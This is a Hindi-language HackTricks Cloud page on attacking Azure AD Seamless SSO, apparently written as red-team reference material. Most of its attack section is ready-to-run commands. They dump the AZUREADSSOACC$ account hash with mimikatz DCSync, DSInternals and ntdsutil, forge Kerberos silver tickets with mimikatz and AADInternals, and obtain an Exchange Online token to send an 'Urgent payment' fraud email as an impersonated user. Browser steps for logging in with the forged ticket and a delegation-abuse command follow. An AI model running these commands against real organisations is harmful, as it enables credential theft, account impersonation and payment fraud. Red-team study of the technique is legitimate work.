Az - Seamless SSO

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके:

  • अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!

  • हमारे विशेष NFTs कलेक्शन, The PEASS Family, खोजें

  • डिस्कॉर्ड समूह या टेलीग्राम समूह में शामिल हों या हमें ट्विटर पर फॉलो करें 🐦 @hacktricks_live

  • हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud github रेपो में PR जमा करके।

मूल जानकारी

दस्तावेज़ से: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से उन उपयोगकर्ताओं को साइन इन करता है जब वे अपने कॉर्पोरेट डिवाइस पर होते हैं जो आपके कॉर्पोरेट नेटवर्क से कनेक्ट हैं। जब यह सक्षम होता है, उपयोगकर्ताओं को अपने Azure AD में साइन इन करने के लिए अपना पासवर्ड टाइप करने की आवश्यकता नहीं होती है, और आम तौर पर, अपने उपयोगकर्ता नाम भी टाइप नहीं करते हैं। यह सुविधा आपके उपयोगकर्ताओं को किसी भी अतिरिक्त ऑन-प्रेमिस घटक की आवश्यकता के बिना आपके क्लाउड-आधारित एप्लिकेशन्स तक आसान पहुंच प्रदान करता है।

मूल रूप से Azure AD Seamless SSO उपयोगकर्ताओं को साइन इन करता है जब वे ऑन-प्रेम डोमेन ज्वाइंड पीसी पर होते हैं।

यह PHS (Password Hash Sync) और PTA (Pass-through Authentication) द्वारा समर्थित है।

डेस्कटॉप एसएसओ प्रमाणीकरण के लिए केरबेरोस का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect ऑन-प्रेम AD में AZUREADSSOACC$ नामक कंप्यूटर खाता बनाता है। AZUREADSSOACC$ खाते का पासवर्ड कॉन्फ़िगरेशन के दौरान सादा-पाठ में Azure AD को भेजा जाता है

केरबेरोस टिकट को NTHash (MD4) का उपयोग करके एन्क्रिप्ट किया जाता है और Azure AD भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।

Azure AD एक एंडपॉइंट (https://autologon.microsoftazuread-sso.com) उपलब्ध कराता है जो केरबेरोस टिकट को स्वीकार करता है। डोमेन-ज्वाइंड मशीन का ब्राउज़र इस एंडपॉइंट को एसएसओ के लिए टिकट फ़ॉरवर्ड करता है।

ऑन-प्रेम -> क्लाउड

उपयोगकर्ता AZUREADSSOACC$ का पासवर्ड कभी नहीं बदलता। इसलिए, एक डोमेन व्यवस्थापक इस खाते के हैश को कंप्रोमाइज कर सकता है, और फिर इसका उपयोग करके किसी भी ऑन-प्रेम उपयोगकर्ता को सिंक करने के लिए सिल्वर टिकट बना सकता है:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

आप अब सिल्वर टिकट जेनरेट कर सकते हैं:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

सिल्वर टिकट का उपयोग करने के लिए, निम्नलिखित चरणों को क्रियान्वित किया जाना चाहिए:

  1. ब्राउज़र प्रारंभ करें: Mozilla Firefox को लॉन्च किया जाना चाहिए।

  2. ब्राउज़र कॉन्फ़िगर करें:

    • about:config पर जाएं।

    • network.negotiate-auth.trusted-uris के लिए पसंद को निर्दिष्ट मानों पर सेट करें:

      • https://aadg.windows.net.nsatc.net

      • https://autologon.microsoftazuread-sso.com

  3. वेब एप्लिकेशन तक पहुंचें:

    • संगठन के AAD डोमेन के साथ एकीकृत वेब एप्लिकेशन पर जाएं। एक सामान्य उदाहरण है Office 365

  4. प्रमाणीकरण प्रक्रिया:

    • लॉगऑन स्क्रीन पर, उपयोगकर्ता नाम दर्ज करें, पासवर्ड फील्ड खाली छोड़ दें।

    • आगे बढ़ने के लिए, या तो TAB दबाएं या ENTER दबाएं।

यह MFA को अगर सक्षम किया गया है तो नहीं बाईपास करता है।

क्लाउड-केवल उपयोगकर्ताओं के लिए कर्बेरोस टिकट बनाना

यदि एक्टिव डायरेक्टरी प्रशासकों के पास Azure AD Connect तक पहुंच है, तो वे किसी भी क्लाउड उपयोगकर्ता के लिए SID सेट कर सकते हैं। इस तरह कर्बेरोस टिकट को क्लाउड-केवल उपयोगकर्ताओं के लिए भी बनाया जा सकता है। एकमात्र आवश्यकता है कि SID एक उचित SID हो।

क्लाउड-केवल व्यवस्थापक उपयोगकर्ताओं के SID बदलना अब माइक्रोसॉफ्ट द्वारा अवरुद्ध है। जानकारी के लिए देखें https://aadinternals.com/post/on-prem_admin/

ऑन-प्रेम -> क्लाउड के माध्यम से संसाधित प्रतिबंधित डेलीगेशन

किसी भी व्यक्ति जो इस खाते में है (AZUREADSSOACC$) कंटेनर या OU में कंप्यूटर खातों का प्रबंधन कर सकता है, वह एक संसाधित प्रतिबंधित डेलीगेशन कॉन्फ़िगर कर सकता है और इसे एक्सेस कर सकता है

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

संदर्भ

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें

HackTricks का समर्थन करने के अन्य तरीके:

Last updated